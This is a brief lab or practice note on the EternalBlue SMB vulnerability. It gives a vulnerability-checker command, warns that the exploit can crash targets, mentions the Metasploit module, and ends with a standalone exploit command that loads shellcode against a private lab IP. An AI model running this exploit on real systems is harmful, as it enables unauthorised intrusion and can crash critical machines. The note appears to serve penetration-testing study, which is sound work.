Instead of exploiting, use the checker:
python eternal_checker.py 192.168.218.130
Because the exploit can crash the machine. IRL if the machine is life-support…
BUT
With permission, metasploit does have eternalblue exploit!!
standalone command (3ndGame script):
python eternalblue_exploit7.py 192.168.218.130 shellcode/sc_all.bin